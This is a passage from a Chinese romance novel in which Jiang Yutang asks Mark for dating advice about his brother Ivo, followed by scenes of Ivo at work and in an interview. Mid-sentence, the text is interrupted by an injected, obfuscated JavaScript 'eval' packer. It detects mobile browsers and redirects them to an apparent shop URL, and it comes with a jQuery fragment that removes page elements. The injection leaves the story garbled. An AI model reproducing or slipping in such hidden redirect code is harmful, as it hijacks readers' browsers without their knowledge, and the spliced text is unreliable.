说着,Mark笑了声:“后来,我和我的母亲返回泰国,有一阵过得特别艰辛,没有钱,也吃不好,就没和他联络。等到再联系时,他又恢复了从前的冷漠态度。不过我们没有放弃,还是会经常打电话找他。起初,他并不愿意接听我们的电话,时间久了,不堪其扰,也慢慢愿意同我们聊了。” “Ivo这个人吧,看起来冷冰冰的,但其实,他并不会拒绝别人,也很擅长原谅。只要你足够主动,他就能同你冰释前嫌。这么多年下来,我都是这么跟他保持联络的。” “可我担心他会嫌我烦......”姜遇棠回忆着,不清楚昨晚自己的所作所为在不在Mark制定的主动纠缠的范畴里,“他估计已经不想看到我了吧?” “不想见到你?不可能。”Mark语气笃定。 受他感染,姜遇棠都难免燃起了必胜的信心,不过仍有几分苦恼:“但我总不能平白无故地找他聊天吧?” 虽然她已经平白无故地骚扰了他不知几百回。 “你是想要找个由头吗?那还不简单,把他约出来就好啦。” 接连逛了几个展区,姜遇棠早就无心逛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673108|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展,开始向Mark取经:“在泰国,你们一般约会会选择去哪些地方啊?” “传统泰国人吗?”Mark的步子停下来,想了想,语气变得轻松,“我们本地人都很保守的,加上泰国人大部分都信佛。刚开始date,我们不会约去咖啡馆之类的地方,我们会问对方,要不要去寺庙逛逛?” 姜遇棠暗自琢磨了一番这个建议的可行性,以及约Ivo出来的成功率。 Mark看着她,笑说:“曼谷这么多佛寺,你们随便去哪里都可以啦。” “先让我想一想,我还有哪座寺庙没有去逛过。” “当然,你们都不是泰国人,相约去划船、看夜景,或者吃饭都可以啊。先把他约出来,然后把你想做的事都对他做一遍,Ivo没道理总是拒绝。” 他是Ivo的亲弟弟,当然不会总被拒绝,可毕竟亲疏有别啊,即使是Mark,也很难理解她现下的处境吧。 姜遇棠光是简单想象一下,就能想到Ivo那不耐烦皱眉的模样,以及那双漠然到无情的眼睛。不过好在,连Ivo的不情愿不耐烦,她都愿意买单。 毕竟是Ivo,他本身就不需要去迁就其他人。 “好,等我找时间试一试。” 姜遇棠走后,Mark没忍住又给Ivo拨了个电话,然而这次接听的却是他的助理。 Ivo并未撒谎,这两天他的确抽不出时间来应付姜遇棠,也没有给她任何回复,因为觉得无论回不回,都无法改变既定的现状。没必要受这些琐事烦扰,工作事务已经足够将他的生活填满。 昨夜助理将第二日采访提纲的文字版交给他时,征询他关于哪些问题需要删减或补充的意见,顺带附上了几份赶工完毕的协议草案,在他身侧进行工作汇报。 提及将新技术运用于某个童话游戏时,或许是说明过于详细,令Ivo不由想到有关《一千零一夜》的阿拉伯民间故事。他想,姜遇棠或许就是现实当中的山鲁佐德,她有一千零一个故事要讲,而他只是其中最微不足道的那一个。 她那么随性自由地挑开这页,自然也能够漫不经心地翻过去。 暗自思索总是让人徒增烦恼,也让人变得内心煎熬。 他自己不清楚,但身侧的助理却看得十分明白,长时间的汇报,均没有得到及时反馈,以为是自己出现差错,老板怒而不发,不由停下来看他。 却发现老板的视线凝聚在协议草案上,目光却并没有聚焦。 助理等了等,才出声提醒:“请问,是有什么问题吗?” 在对方颇为忐忑的目光中,Ivo才回过神来,摇摇头,示意他接着说。 “新升级的生物识别流程,我们把人脸识别算法的准确率提高到了99%......” 接下来两天,Ivo先是去跟合作方谈合作,接着又接受了科技与信息杂志的相关采访。 起初,采访悉数围绕昨夜的提纲开展,记者的问题全是关于AI技术在生活中的运用及发展前景的,Ivo有条不紊地回答着。 到后来,大概是为了制造销售噱头,记者开玩笑地问他:“我们是科技杂志,很少涉及私人话题,不过我还是好奇,请问您能否透露给我们一些关于AI技术与您的家庭之间的联系?常言道,科技拉近人与人之间的距离,信息技术的发展,使世界变得更为高效、开放、透明。在这点上,请问您有什么看法呢?” 他很快就想到了自己创业的初衷,然后又不可避免地陷入了陈旧的回忆。失落是记忆的伤疤,被反反复复撕开,又反反复复粘连,总是好不了。 后来为了避免被人看到,他总是刻意掩盖。 所以这一次,他也没有好好回答,只是像往常一样说着一些官方、挑不出差错的话,给敷衍过去了。 接连忙碌了几天,结束采访,稍有空闲时刻,Ivo接到了金姨打来的电话。